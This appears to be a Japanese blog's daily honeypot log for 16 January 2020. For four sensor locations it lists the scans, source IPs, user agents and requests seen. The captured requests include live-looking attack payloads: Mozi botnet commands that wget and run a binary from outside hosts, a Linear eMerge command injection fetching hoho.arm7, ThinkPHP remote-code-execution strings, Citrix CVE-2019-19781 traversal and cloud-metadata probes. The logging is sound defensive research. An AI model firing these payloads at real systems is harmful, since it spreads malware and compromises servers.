2020/01/16 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/01/16分です。

特徴

Location：JP

Citrix製品の脆弱性(CVE-2019-19781)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
Apache Solrへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
5[.]188[.]210[.]101に関する不正通信
User AgentがHello, worldであるアクセス
を確認しました。

/shellに対して、ファイルダウンロードおよび実行を狙う以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：US

Linear eMerge E3製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZmEuによるスキャン行為
Apache Tomcat管理画面へのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

Location：UK

Citrix製品の脆弱性(CVE-2019-19781)を狙うアクセス
Linear eMerge E3製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
Spring Bootへのスキャン行為
123[.]125[.]114[.]144に関する不正通信
を確認しました。

Location：SG

Apache Tomcat管理画面へのスキャン行為
User AgentがHello, worldであるアクセス
を確認しました。

/shellに対して、ファイルダウンロードおよび実行を狙う以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://58.46.249.170:56379/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：49 (前日比：-29)
US：総アクセス数：43 (前日比：+32)
UK：総アクセス数：40 (前日比：-87)
SG：総アクセス数：12 (前日比：-920)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location：JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	117.239.149.94	India
1	222.186.19.221	China
1	223.149.1.182	China
1	31.184.218.5	Russia
1	3.133.117.145	United States
34	44.225.84.206	United States
1	45.56.78.64	United States
5	5.101.0.209	Russia
1	5.188.210.101	Russia
1	54.166.131.154	United States
1	60.191.66.222	China
1	69.162.106.10	United States

UserAgent一覧

件数	UserAgent
21	-
14	AWS Security Scanner
1	Cloud mapping experiment. Contact research@pdrlabs.net
1	curl/7.58.0
1	Go-http-client/1.1
1	Hello, world
2	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
1	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1	User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

リクエスト内容一覧

件数	Method	Request	Protocol
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/?0628182016134805143312	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/clientaccesspolicy.xml	HTTP/1.1
1	GET	/.env	HTTP/1.1
1	GET	/HNAP1/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	http://5[.]188[.]210[.]101/echo.php	HTTP/1.1
2	GET	http://example[.]com/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/vpn/../vpns/cfg/smb.conf	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
10	\x16\x03\x01

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
10	134.175.245.162	China
1	163.172.16.99	France
2	194.243.255.230	Italy
2	222.186.19.221	China
1	3.19.120.216	United States
1	45.56.78.64	United States
10	49.233.79.16	China
10	54.214.82.225	United States
2	58.82.183.95	Thailand
1	60.191.66.222	China
1	69.162.126.238	United States
1	88.50.89.118	Italy
1	94.89.40.90	Italy

UserAgent一覧

件数	UserAgent
8	-
5	Go-http-client/1.1
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
27	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2	ZmEu

リクエスト内容一覧

件数	Method	Request	Protocol
1
1	-
2	CONNECT	ip[.]ws[.126[.]net:443	HTTP/1.1
1	GET	/?0628182016134805143312	HTTP/1.1
3	GET	/card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7;
3	GET	/elrekt.php	HTTP/1.1
3	GET	/html/public/index.php	HTTP/1.1
3	GET	/index.php	HTTP/1.1
3	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/phpMyAdmin/scripts/setup.php	HTTP/1.1
3	GET	/public/index.php	HTTP/1.1
3	GET	/thinkphp/html/public/index.php	HTTP/1.1
3	GET	/TP/html/public/index.php	HTTP/1.1
3	GET	/TP/index.php	HTTP/1.1
3	GET	/TP/public/index.php	HTTP/1.1
1	GET	/w00tw00t.at.blackhats.romanian.anti-sec:)	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
3	POST	/index.php?s=captcha	HTTP/1.1
1	\x03

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	103.229.67.105	Hong Kong
1	110.177.78.44	China
8	114.215.129.63	China
1	124.225.45.162	China
1	138.197.162.115	United States
6	213.222.56.130	Bulgaria
1	221.13.12.6	China
1	221.213.75.54	China
1	222.186.19.221	China
1	222.79.49.162	China
1	222.82.51.188	China
1	222.82.56.68	China
1	3.19.120.216	United States
1	36.248.89.183	China
1	36.251.112.250	China
1	45.136.108.64	Germany
1	47.103.208.171	China
6	5.101.0.209	Russia
1	60.13.6.118	China
1	60.191.66.222	China
1	69.162.126.238	United States
1	69.162.66.90	United States
1	94.89.40.90	Italy

UserAgent一覧

件数	UserAgent
5	-
1	Go-http-client/1.1
1	libwww-perl/6.43
1	Mozilla/5.01688858 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
6	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1	User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
6	ZmEu

リクエスト内容一覧

件数	Method	Request	Protocol
1
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
1	GET	/actuator/env	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7;
1	GET	/elrekt.php	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
2	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/myadmin/scripts/setup.php	HTTP/1.1
1	GET	/MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/pma/scripts/setup.php	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/templets/lurd//lurd-add.htm	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
2	GET	/TP/public/index.php	HTTP/1.1
2	GET	/vpn/../vpns/cfg/smb.conf	HTTP/1.1
1	GET	/w00tw00t.at.blackhats.romanian.anti-sec:)	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1	HEAD	/robots.txt	HTTP/1.0
1	\x03

Location：SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	103.229.67.105	Hong Kong
3	103.242.225.238	India
1	132.232.159.230	China
1	222.186.19.221	China
1	3.19.120.216	United States
1	58.46.249.170	China
1	60.191.66.222	China
3	71.6.199.23	United States

UserAgent一覧

件数	UserAgent
8	-
1	Go-http-client/1.1
1	Hello, world
1	libwww-perl/6.43
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)

リクエスト内容一覧

件数	Method	Request	Protocol
1
1	CONNECT	ip[.]ws[.]]126[.]net:443	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/robots.txt	HTTP/1.0
1	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://58[.]46[.]249[.]170:56379/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/templets/lurd//lurd-add.htm	HTTP/1.1
3	GET	/view/index.shtml	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1